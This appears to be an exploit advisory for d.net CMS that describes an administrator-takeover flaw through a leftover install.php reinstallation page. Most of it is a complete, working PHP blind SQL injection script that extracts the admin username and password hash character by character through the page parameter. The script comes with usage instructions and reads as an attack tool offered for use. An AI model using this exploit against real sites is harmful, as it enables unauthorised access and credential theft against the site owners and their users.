+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - __ __ _ __ - + ____/ /___ ______/ /__ (_)___ / /_____ _____ + - / __ / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/ - + / /_/ / /_/ / / / ,< / / /_/ / ,< / __/ / + - \__,_/\__,_/_/ /_/|_|_/ /\____/_/|_|\___/_/ - + /___/ + - - +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
[+] Arbitrary Re-Installation Vulnerability
There's no check about the elimination of 'help' directory, then whenever an administrator forget to delete it, we can re-install the CMS, it means we can add a new administrator account, without specify database's informations.
http://hostname/dnetCMS/help/install.php
[+] Blind SQL Injection Exploit
<?php
function usage () { exit ( "\n". "[+] d.net CMS Blind SQL Injection Exploit\n". "[+] Author : darkjoker\n". "[+] Site : http://darkjoker.net23.net\n". "[+] Download: https://sourceforge.net/projects/dnet/\n". "[+] Usage : php xpl.php <hostname> <path>\n". "[+] Ex. : php xpl.php localhost /dnetCMS/\n". "[+] Greetz : cristina, puccio (they kept me company when I coded this stuff :D)\n". "\n"); }
function hex ($string) { $i=0; while ($i<strlen($string)) $hex .= "%".dechex(ord($string[$i++])); return $hex; }
function check ($hostname, $path, $character, $position, $field) { $character = ord($character); $sp = fsockopen ($hostname, 80); $query = hex ("'x' OR ASCII(SUBSTRING((SELECT {$field} FROM cms_security_master WHERE id=1),{$position},1))={$character} -- "); $request = "GET {$path}index.php?page={$query} HTTP/1.1\r\n". "Host: {$hostname}\r\n". "Connection: Close\r\n\r\n"; fputs ($sp, $request); while (!feof ($sp)) $reply .= fgets ($sp,1024); fclose ($sp); if ((preg_match ("|Location: index\.php|", $reply)) || (preg_match ("|<b>Cannot modify</b>:|", $reply))) return false; else return true; }
function get_field ($hostname, $path, $field) { echo "[+] ".ucfirst($field)." (hash): "; $chars = "abcdef0123456789"; for($i=0,$d=1;$d<=32;$i++) { if (check ($hostname, $path, $chars [$i], $d, $field)) { echo $chars [$i]; $i = -1; $d++; } } echo "\n"; }
if ($argc != 3) usage (); $hostname = $argv [1]; $path = $argv [2]; $fields = array ("username", "password"); foreach ($fields as $field) get_field ($hostname, $path, $field);
|